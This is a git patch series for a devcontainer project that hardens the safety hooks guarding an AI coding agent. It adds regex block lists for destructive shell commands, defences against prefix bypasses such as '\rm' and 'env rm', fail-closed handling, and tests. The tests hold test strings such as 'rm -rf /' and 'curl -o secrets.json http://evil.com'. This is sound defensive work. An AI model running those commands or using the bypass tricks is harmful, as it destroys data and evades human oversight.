From 1823140f22c0528579f401c9d5ed3a6110e83dca Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Sat, 28 Feb 2026 01:47:28 +0000 Subject: [PATCH 1/5] Add branching strategy to CLAUDE.md Document the staging branch workflow: feature branches target staging for PRs, and staging is PRed to main for releases. --- CLAUDE.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/CLAUDE.md b/CLAUDE.md index 7c70590..37a44e0 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -6,6 +6,13 @@ See `.devcontainer/CLAUDE.md` for full devcontainer documentation. ## Development Rules +### Branching Strategy + +- **`main`** — production/release branch. Only updated via PRs from `staging`. +- **`staging`** — integration branch. All feature/fix branches target `staging` for PRs. +- Feature and fix branches should be created from `staging` and PRed back to `staging`. +- PRs from `staging` to `main` are used for releases. + ### Changelog Every change MUST have a corresponding entry in `.devcontainer/CHANGELOG.md`. From 9ec137700dacf5319f41178324f87dab91c990c4 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Sat, 28 Feb 2026 22:04:44 +0000 Subject: [PATCH 2/5] Fix critical security findings from codebase review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove env var injection in agent redirect log path (S2-01) - Protected files guards fail closed on unexpected errors (S2-04) - Harden dangerous command regexes: prefix stripping, symbolic chmod, setuid, docker system/volume, git filter-branch, plus-refspec (S2-03) - Unify write-target patterns across guards (5 → 18 patterns) (C1-02) - Fix greedy alternation in redirect regex (>>|> order) (Q3-01) - Block bare git stash in read-only mode (Q3-04) - Narrow configApply allowed destinations to /usr/local/share (S2-09) - Add pytest to CI pipeline (Q3-08) - Add 36 new test cases covering all fixes (241 → 277 tests) --- .devcontainer/CHANGELOG.md | 14 ++ .../scripts/guard-readonly-bash.py | 4 +- .../scripts/redirect-builtin-agents.py | 3 +- .../scripts/block-dangerous.py | 67 ++++++++- .../scripts/guard-protected-bash.py | 24 +++- .../scripts/guard-protected.py | 4 +- .../scripts/guard-workspace-scope.py | 99 ++++++++----- .github/workflows/ci.yml | 14 +- setup.js | 2 +- tests/plugins/test_block_dangerous.py | 90 ++++++++++++ tests/plugins/test_guard_protected.py | 44 ++++++ tests/plugins/test_guard_protected_bash.py | 130 ++++++++++++++++-- tests/plugins/test_guard_readonly_bash.py | 7 + 13 files changed, 441 insertions(+), 61 deletions(-) diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index e7669ee..67f43c4 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -2,6 +2,10 @@ ## [Unreleased] +### Security +- Removed environment variable injection vector in agent redirect log path (S2-01) +- Narrowed config deployment allowed destinations from `/usr/local` to `/usr/local/share` (S2-09) + ### Added #### Testing @@ -13,6 +17,7 @@ - `guard-readonly-bash.py` (63 tests) — general-readonly and git-readonly modes, bypass prevention - `redirect-builtin-agents.py` (13 tests) — redirect mapping, passthrough, output structure - Added `test:plugins` and `test:all` npm scripts for running plugin tests +- Python plugin tests (`pytest`) added to CI pipeline (Q3-08) ### Fixed @@ -21,6 +26,12 @@ - **Block `--force-with-lease`** — was slipping through regex; all force push variants now blocked uniformly - **Block remote branch deletion** — `git push origin --delete` and colon-refspec deletion (`git push origin :branch`) now blocked; deleting remote branches closes associated PRs - **Fixed README** — error handling was documented as "fails open" but code actually fails closed; corrected to match behavior +- Dangerous command blocker handles prefix bypasses (`\rm`, `command rm`, `env rm`) and symbolic chmod (S2-03) +- Fixed greedy alternation in write-target regex — `>>` now matched before `>` (Q3-01) +- Bare `git stash` (equivalent to push) now blocked in read-only mode (Q3-04) + +#### Protected Files Guard +- Protected files guard now fails closed on unexpected errors instead of failing open (S2-04) #### Documentation - **DevContainer CLI guide** — dedicated Getting Started page for terminal-only workflows without VS Code @@ -34,6 +45,9 @@ ### Changed +#### Guards +- Unified write-target extraction patterns across guards — protected-files bash guard expanded from 5 to 18 patterns (C1-02) + #### Performance - Commented out Rust toolchain feature — saves ~1.23 GB image size; uncomment in `devcontainer.json` if needed - Commented out ccms feature pending replacement tool (requires Rust) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py index d176c21..60aa869 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py @@ -550,7 +550,9 @@ def check_git_readonly(command: str) -> str | None: elif sub == "stash": # Only allow "stash list" and "stash show" - if len(words) > 2 and words[2] not in ("list", "show"): + if len(words) <= 2: + return "Blocked: bare 'git stash' (equivalent to push) is not allowed in read-only mode" + if words[2] not in ("list", "show"): return f"Blocked: 'git stash {words[2]}' is not allowed in read-only mode" else: diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py index 170aa9f..7927606 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py @@ -18,7 +18,6 @@ """ import json -import os import sys from datetime import datetime, timezone @@ -39,7 +38,7 @@ # Handles cases where the model uses the short name directly UNQUALIFIED_MAP = {v: f"{PLUGIN_PREFIX}:{v}" for v in REDIRECT_MAP.values()} -LOG_FILE = os.environ.get("AGENT_REDIRECT_LOG", "/tmp/agent-redirect.log") +LOG_FILE = "/tmp/agent-redirect.log" def log(message: str) -> None: diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py b/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py index 5f45e46..6fdb671 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py @@ -110,18 +110,71 @@ "Blocked: push with colon-refspec deletes remote branches and closes " "associated pull requests. Do not use as a workaround for force push blocks.", ), + # Symbolic chmod equivalents of 777 + ( + r"\bchmod\s+a=rwx\b", + "Blocked: chmod a=rwx is equivalent to 777 — security vulnerability", + ), + ( + r"\bchmod\s+0777\b", + "Blocked: chmod 0777 creates security vulnerability", + ), + # SetUID/SetGID bits + ( + r"\bchmod\s+u\+s\b", + "Blocked: chmod u+s sets SetUID bit — privilege escalation risk", + ), + ( + r"\bchmod\s+g\+s\b", + "Blocked: chmod g+s sets SetGID bit — privilege escalation risk", + ), + # Destructive Docker operations (additional) + ( + r"\bdocker\s+system\s+prune\b", + "Blocked: docker system prune removes all unused data", + ), + ( + r"\bdocker\s+volume\s+rm\b", + "Blocked: docker volume rm destroys persistent data", + ), + # Git history rewriting + ( + r"\bgit\s+filter-branch\b", + "Blocked: git filter-branch rewrites repository history", + ), + # Plus-refspec force push (git push origin +main) + ( + r"\bgit\s+push\s+\S+\s+\+\S", + "Blocked: plus-refspec push (+ref) is a force push that destroys history", + ), + # Force push variant: --force-if-includes + (r"\bgit\s+push\s+.*--force-if-includes\b", FORCE_PUSH_SUGGESTION), ] -def check_command(command: str) -> tuple[bool, str]: - """Check if command matches any dangerous pattern. +def strip_command_prefixes(command: str) -> str: + """Strip common command prefixes that bypass word-boundary matching. - Returns: - (is_dangerous, message) + Handles: backslash prefix (\\rm), command prefix, env prefix. """ - for pattern, message in DANGEROUS_PATTERNS: - if re.search(pattern, command, re.IGNORECASE): - return True, message + stripped = command + # Strip leading backslash from commands (e.g. \rm -> rm) + stripped = re.sub(r"(?:^|(?<=\s))\\(?=\w)", "", stripped) + # Strip 'command' prefix (e.g. 'command rm' -> 'rm') + stripped = re.sub(r"\bcommand\s+", "", stripped) + # Strip 'env' prefix with optional VAR=val args (e.g. 'env VAR=x rm' -> 'rm') + stripped = re.sub(r"\benv\s+(?:\w+=\S+\s+)*", "", stripped) + return stripped + + +def check_command(command: str) -> tuple[bool, str]: + """Check if command matches any dangerous pattern.""" + stripped = strip_command_prefixes(command) + # Check both original and stripped versions + for cmd in (command, stripped): + for pattern, message in DANGEROUS_PATTERNS: + if re.search(pattern, cmd, re.IGNORECASE): + return True, message return False, "" diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py index 0c74255..dddda47 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py @@ -57,8 +57,8 @@ # Patterns that indicate a bash command is writing to a file # Each captures the target file path for checking against PROTECTED_PATTERNS WRITE_PATTERNS = [ - # Redirect: > file, >> file - r"(?:>|>>)\s*([^\s;&|]+)", + # Redirect: >> file, > file (>> before > to avoid greedy match) + r"(?:>>|>)\s*([^\s;&|]+)", # tee: tee file, tee -a file r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # cp/mv: cp src dest, mv src dest @@ -67,6 +67,22 @@ r'\bsed\s+-i[^\s]*\s+(?:\'[^\']*\'\s+|"[^"]*"\s+|[^\s]+\s+)*([^\s;&|]+)', # cat > file (heredoc style) r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", + # --- Extended patterns (unified with guard-workspace-scope.py) --- + r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file + r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir + r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path + r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest + r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest + r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest + r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path + r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path + r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path + r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path + r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path + r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir + r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir + r"\b(?:gcc|g\+\+|cc|c\+\+|clang)\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # gcc -o out + r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath ] @@ -113,9 +129,9 @@ def main(): # Fail closed: can't parse means can't verify safety sys.exit(2) except Exception as e: - # Log error but don't block on hook failure + # Fail closed: unexpected errors should block, not allow print(f"Hook error: {e}", file=sys.stderr) - sys.exit(0) + sys.exit(2) if __name__ == "__main__": diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py index 6fb2ef3..b8d5eca 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py @@ -100,9 +100,9 @@ def main(): # Fail closed: can't parse means can't verify safety sys.exit(2) except Exception as e: - # Log error but don't block on hook failure + # Fail closed: unexpected errors should block, not allow print(f"Hook error: {e}", file=sys.stderr) - sys.exit(0) + sys.exit(2) if __name__ == "__main__": diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py index 9e30ec1..8aae4a9 100755 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py @@ -30,8 +30,8 @@ # Paths always allowed regardless of working directory _home = os.environ.get("HOME", "/home/vscode") ALLOWED_PREFIXES = [ - f"{_home}/.claude/", # Claude config, plans, rules - "/tmp/", # System scratch + f"{_home}/.claude/", # Claude config, plans, rules + "/tmp/", # System scratch ] WRITE_TOOLS = {"Write", "Edit", "NotebookEdit"} @@ -54,27 +54,27 @@ # --------------------------------------------------------------------------- WRITE_PATTERNS = [ # --- Ported from guard-protected-bash.py --- - r"(?:>|>>)\s*([^\s;&|]+)", # > file, >> file - r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # tee file - r"\b(?:cp|mv)\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # cp/mv src dest + r"(?:>>|>)\s*([^\s;&|]+)", # >> file, > file + r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # tee file + r"\b(?:cp|mv)\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # cp/mv src dest r'\bsed\s+-i[^\s]*\s+(?:\'[^\']*\'\s+|"[^"]*"\s+|[^\s]+\s+)*([^\s;&|]+)', # sed -i - r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", # cat > file + r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", # cat > file # --- New patterns --- - r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file - r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir - r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path - r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest - r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest - r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest - r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path - r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path - r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path - r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path - r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path - r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir - r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir + r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file + r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir + r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path + r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest + r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest + r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest + r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path + r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path + r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path + r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path + r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path + r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir + r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir r"\b(?:gcc|g\+\+|cc|c\+\+|clang)\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # gcc -o out - r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath + r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath ] # --------------------------------------------------------------------------- @@ -86,15 +86,42 @@ # --------------------------------------------------------------------------- # System command exemption (Layer 1 only) # --------------------------------------------------------------------------- -SYSTEM_COMMANDS = frozenset({ - "git", "pip", "pip3", "npm", "npx", "yarn", "pnpm", - "apt-get", "apt", "cargo", "go", "docker", "make", "cmake", - "node", "python3", "python", "ruby", "gem", "bundle", -}) +SYSTEM_COMMANDS = frozenset( + { + "git", + "pip", + "pip3", + "npm", + "npx", + "yarn", + "pnpm", + "apt-get", + "apt", + "cargo", + "go", + "docker", + "make", + "cmake", + "node", + "python3", + "python", + "ruby", + "gem", + "bundle", + } +) SYSTEM_PATH_PREFIXES = ( - "/usr/", "/bin/", "/sbin/", "/lib/", "/opt/", - "/proc/", "/sys/", "/dev/", "/var/", "/etc/", + "/usr/", + "/bin/", + "/sbin/", + "/lib/", + "/opt/", + "/proc/", + "/sys/", + "/dev/", + "/var/", + "/etc/", ) @@ -102,10 +129,12 @@ # Core check functions # --------------------------------------------------------------------------- + def is_blacklisted(resolved_path: str) -> bool: """Check if resolved_path is under a permanently blocked directory.""" - return (resolved_path == "/workspaces/.devcontainer" - or resolved_path.startswith("/workspaces/.devcontainer/")) + return resolved_path == "/workspaces/.devcontainer" or resolved_path.startswith( + "/workspaces/.devcontainer/" + ) def is_in_scope(resolved_path: str, cwd: str) -> bool: @@ -135,6 +164,7 @@ def get_target_path(tool_name: str, tool_input: dict) -> str | None: # Bash enforcement # --------------------------------------------------------------------------- + def extract_write_targets(command: str) -> list[str]: """Extract file paths that the command writes to (Layer 1).""" targets = [] @@ -157,7 +187,11 @@ def extract_primary_command(command: str) -> str: while i < len(tokens): tok = tokens[i] # Skip inline variable assignments: VAR=value - if "=" in tok and not tok.startswith("-") and tok.split("=", 1)[0].isidentifier(): + if ( + "=" in tok + and not tok.startswith("-") + and tok.split("=", 1)[0].isidentifier() + ): i += 1 continue # Skip sudo and its flags @@ -243,7 +277,9 @@ def check_bash_scope(command: str, cwd: str) -> None: # Override: if ANY target is under /workspaces/ outside cwd → NOT exempt if skip_layer1: for _, resolved in resolved_targets: - if resolved.startswith("/workspaces/") and not is_in_scope(resolved, cwd): + if resolved.startswith("/workspaces/") and not is_in_scope( + resolved, cwd + ): skip_layer1 = False break @@ -273,6 +309,7 @@ def check_bash_scope(command: str, cwd: str) -> None: # Main # --------------------------------------------------------------------------- + def main(): try: input_data = json.load(sys.stdin) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f17a082..60d01a8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -2,9 +2,9 @@ name: CI on: push: - branches: [main] + branches: [main, staging] pull_request: - branches: [main] + branches: [main, staging] jobs: test: @@ -24,3 +24,13 @@ jobs: with: node-version: 18 - run: npx @biomejs/biome check setup.js test.js + + test-plugins: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: actions/setup-python@v5 + with: + python-version: "3.x" + - run: pip install pytest + - run: pytest tests/ -v diff --git a/setup.js b/setup.js index 0812767..39be9a6 100755 --- a/setup.js +++ b/setup.js @@ -551,7 +551,7 @@ function configApply() { const allowedDestRoots = [ path.resolve(claudeConfigDir), homeDir, - "/usr/local", + "/usr/local/share", ]; const destDir = path.resolve(expandVars(entry.dest)); const destAllowed = allowedDestRoots.some( diff --git a/tests/plugins/test_block_dangerous.py b/tests/plugins/test_block_dangerous.py index b156415..9471b6f 100644 --- a/tests/plugins/test_block_dangerous.py +++ b/tests/plugins/test_block_dangerous.py @@ -271,3 +271,93 @@ def test_colon_refspec_blocked(self) -> None: "git push origin :feature-branch", substr="colon-refspec", ) + + +# --------------------------------------------------------------------------- +# 12. Command prefix bypass vectors +# --------------------------------------------------------------------------- + + +class TestCommandPrefixBypass: + """Prefixes like backslash, 'command', and 'env' should not bypass blocks.""" + + @pytest.mark.parametrize( + "cmd", + [ + "\\rm -rf /", + "command rm -rf /", + "env rm -rf /", + "env VAR=x rm -rf /", + ], + ids=[ + "backslash-prefix", + "command-prefix", + "env-prefix", + "env-with-variable", + ], + ) + def test_prefix_bypass_still_blocked(self, cmd: str) -> None: + assert_blocked(cmd, substr="rm") + + +# --------------------------------------------------------------------------- +# 13. Symbolic chmod and setuid/setgid patterns +# --------------------------------------------------------------------------- + + +class TestChmodExtended: + @pytest.mark.parametrize( + "cmd, substr", + [ + ("chmod a=rwx file", "chmod a=rwx"), + ("chmod 0777 file", "chmod 0777"), + ("chmod u+s /usr/bin/something", "SetUID"), + ("chmod g+s /usr/bin/something", "SetGID"), + ], + ids=[ + "symbolic-a-equals-rwx", + "octal-0777", + "setuid-bit", + "setgid-bit", + ], + ) + def test_chmod_variants_blocked(self, cmd: str, substr: str) -> None: + assert_blocked(cmd, substr=substr) + + +# --------------------------------------------------------------------------- +# 14. Docker system/volume destructive operations +# --------------------------------------------------------------------------- + + +class TestDockerExtended: + def test_docker_system_prune(self) -> None: + assert_blocked("docker system prune -af", substr="docker system prune") + + def test_docker_volume_rm(self) -> None: + assert_blocked("docker volume rm myvolume", substr="docker volume rm") + + +# --------------------------------------------------------------------------- +# 15. Git history rewriting and force push variants +# --------------------------------------------------------------------------- + + +class TestGitExtended: + def test_git_filter_branch(self) -> None: + assert_blocked( + "git filter-branch --tree-filter 'rm -f passwords.txt' HEAD", + substr="filter-branch", + ) + + def test_plus_refspec_push(self) -> None: + assert_blocked( + "git push origin +main", + substr="plus-refspec", + ) + + def test_force_if_includes(self) -> None: + assert_blocked( + "git push --force-if-includes origin main", + substr="force push", + ) diff --git a/tests/plugins/test_guard_protected.py b/tests/plugins/test_guard_protected.py index 379a2e8..cf6cfd3 100644 --- a/tests/plugins/test_guard_protected.py +++ b/tests/plugins/test_guard_protected.py @@ -4,6 +4,11 @@ and allows safe paths through. """ +import json +import subprocess +import sys +from pathlib import Path + import pytest from tests.conftest import guard_protected @@ -221,3 +226,42 @@ def test_windows_backslash_path(self) -> None: ) def test_case_insensitive_matching(self, path: str) -> None: assert_protected(path) + + +# --------------------------------------------------------------------------- +# Fail-closed behavior (exception → exit code 2) +# --------------------------------------------------------------------------- + + +class TestFailClosed: + """Verify that unexpected errors cause the guard to exit with code 2.""" + + def test_exception_causes_exit_code_2(self): + """Feed input that triggers an exception in the main logic. + + We send valid JSON but with tool_input set to a non-dict value, + which will cause an AttributeError when main() calls + tool_input.get("file_path", ""). + """ + script_path = ( + Path(__file__).resolve().parent.parent.parent + / ".devcontainer" + / "plugins" + / "devs-marketplace" + / "plugins" + / "protected-files-guard" + / "scripts" + / "guard-protected.py" + ) + # tool_input is a string instead of dict — causes AttributeError + payload = json.dumps({"tool_input": "not-a-dict"}) + result = subprocess.run( + [sys.executable, str(script_path)], + input=payload, + capture_output=True, + text=True, + ) + assert result.returncode == 2, ( + f"Expected exit code 2, got {result.returncode}. " + f"stderr: {result.stderr}" + ) diff --git a/tests/plugins/test_guard_protected_bash.py b/tests/plugins/test_guard_protected_bash.py index 37294ba..a7055da 100644 --- a/tests/plugins/test_guard_protected_bash.py +++ b/tests/plugins/test_guard_protected_bash.py @@ -4,15 +4,16 @@ commands) and check_path (protected pattern matching), plus integration of both. Known source bugs (documented, not worked around): - - BUG: append redirect (>>) is not correctly parsed. The regex ``(?:>|>>)`` - matches ``>`` first (greedy alternation), so ``echo x >> file.txt`` - captures ``>`` (the second character) as the "file path" instead of - ``file.txt``. See guard-protected-bash.py:61. - BUG: ``cat > file.txt`` matches both the generic redirect pattern and the cat-specific pattern, producing duplicate entries in the target list. See guard-protected-bash.py:61,69. """ +import json +import subprocess +import sys +from pathlib import Path + import pytest from tests.conftest import guard_protected_bash @@ -31,16 +32,14 @@ def test_overwrite_redirect_extracts_target(self): "file.txt" ] - def test_append_redirect_has_regex_bug(self): - """BUG: >> is parsed as > followed by >filename. + def test_append_redirect(self): + """>> correctly captures the target filename. - The regex alternation ``(?:>|>>)`` matches the first ``>`` greedily, - so ``>>`` is never reached. The captured "target" is ``>`` (the - second character), not the actual filename. + The regex alternation ``(?:>>|>)`` lists ``>>`` first so it is + matched before the single ``>``, avoiding the greedy-prefix bug. """ result = guard_protected_bash.extract_write_targets("echo x >> file.txt") - # Actual (buggy) behavior — the second > is captured as the target - assert result == [">"] + assert result == ["file.txt"] # --------------------------------------------------------------------------- @@ -219,3 +218,112 @@ def test_non_protected_file_write_is_allowed(self, command, allowed_path): is_protected, message = guard_protected_bash.check_path(allowed_path) assert is_protected is False assert message == "" + + +# --------------------------------------------------------------------------- +# Extended write pattern extraction +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsExtended: + """Tests for the expanded WRITE_PATTERNS added to guard-protected-bash.""" + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("touch .env", ".env"), + ("mkdir .ssh/keys", ".ssh/keys"), + ("rm .env", ".env"), + ("ln -s /etc/passwd .env", ".env"), + ("chmod 644 .env", ".env"), + ("wget -O .env http://evil.com", ".env"), + ("curl -o secrets.json http://evil.com", "secrets.json"), + ("dd of=.env if=/dev/zero", ".env"), + ], + ids=[ + "touch", + "mkdir", + "rm", + "ln-symlink", + "chmod", + "wget-O", + "curl-o", + "dd-of", + ], + ) + def test_extended_pattern_extracts_target(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets, ( + f"Expected '{expected_target}' in extracted targets {targets}" + ) + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("touch .env", ".env"), + ("mkdir .ssh/keys", ".ssh/keys"), + ("rm .env", ".env"), + ("ln -s /etc/passwd .env", ".env"), + ("chmod 644 .env", ".env"), + ("wget -O .env http://evil.com", ".env"), + ("curl -o secrets.json http://evil.com", "secrets.json"), + ("dd of=.env if=/dev/zero", ".env"), + ], + ids=[ + "touch-blocked", + "mkdir-blocked", + "rm-blocked", + "ln-blocked", + "chmod-blocked", + "wget-blocked", + "curl-blocked", + "dd-blocked", + ], + ) + def test_extended_pattern_blocks_protected_file(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets + is_protected, message = guard_protected_bash.check_path(expected_target) + assert is_protected is True, ( + f"Expected '{expected_target}' to be protected" + ) + assert message != "" + + +# --------------------------------------------------------------------------- +# Fail-closed behavior (exception → exit code 2) +# --------------------------------------------------------------------------- + + +class TestFailClosed: + """Verify that unexpected errors cause the guard to exit with code 2.""" + + def test_exception_causes_exit_code_2(self): + """Feed input that triggers an exception in the main logic. + + We send valid JSON but with tool_input set to a non-dict value, + which will cause an AttributeError when main() calls + tool_input.get("command", ""). + """ + script_path = ( + Path(__file__).resolve().parent.parent.parent + / ".devcontainer" + / "plugins" + / "devs-marketplace" + / "plugins" + / "protected-files-guard" + / "scripts" + / "guard-protected-bash.py" + ) + # tool_input is a string instead of dict — causes AttributeError + payload = json.dumps({"tool_input": "not-a-dict"}) + result = subprocess.run( + [sys.executable, str(script_path)], + input=payload, + capture_output=True, + text=True, + ) + assert result.returncode == 2, ( + f"Expected exit code 2, got {result.returncode}. " + f"stderr: {result.stderr}" + ) diff --git a/tests/plugins/test_guard_readonly_bash.py b/tests/plugins/test_guard_readonly_bash.py index a63af3f..74e05ad 100644 --- a/tests/plugins/test_guard_readonly_bash.py +++ b/tests/plugins/test_guard_readonly_bash.py @@ -265,6 +265,11 @@ def test_stash_drop_blocked(self) -> None: cmd = "git stash drop" assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + def test_bare_stash_blocked(self) -> None: + """Bare 'git stash' (no subcommand) is equivalent to 'git stash push'.""" + cmd = "git stash" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + def test_config_without_get_blocked(self) -> None: cmd = "git config user.name foo" assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) @@ -298,6 +303,7 @@ class TestGitReadonlyAllowed: "git config --get user.name", "git config --list", "git stash list", + "git stash show", "cat file | grep pattern", "git -C /path --no-pager log", "sed 's/a/b/' file", @@ -310,6 +316,7 @@ class TestGitReadonlyAllowed: "config-get", "config-list", "stash-list", + "stash-show", "cat-pipe-grep", "global-flags", "sed-without-i", From bcfbe06332f3ea72813efe3ce162ea29158606d1 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 02:58:19 +0000 Subject: [PATCH 3/5] Bump to v2.0.0 and run full test suite on prepublish MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Version 1.14.2 → 2.0.0 - prepublishOnly now runs npm run test:all (Node + Python tests) - Sync README version to match package.json --- README.md | 2 +- package.json | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index de1013c..fdb883f 100644 --- a/README.md +++ b/README.md @@ -176,7 +176,7 @@ npm publish ## Changelog -See [CHANGELOG.md](.devcontainer/CHANGELOG.md) for release history. Current version: **1.14.0** (2026-02-23). +See [CHANGELOG.md](.devcontainer/CHANGELOG.md) for release history. Current version: **2.0.0**. ## Further Reading diff --git a/package.json b/package.json index 6a78702..e6b4702 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "codeforge-dev", 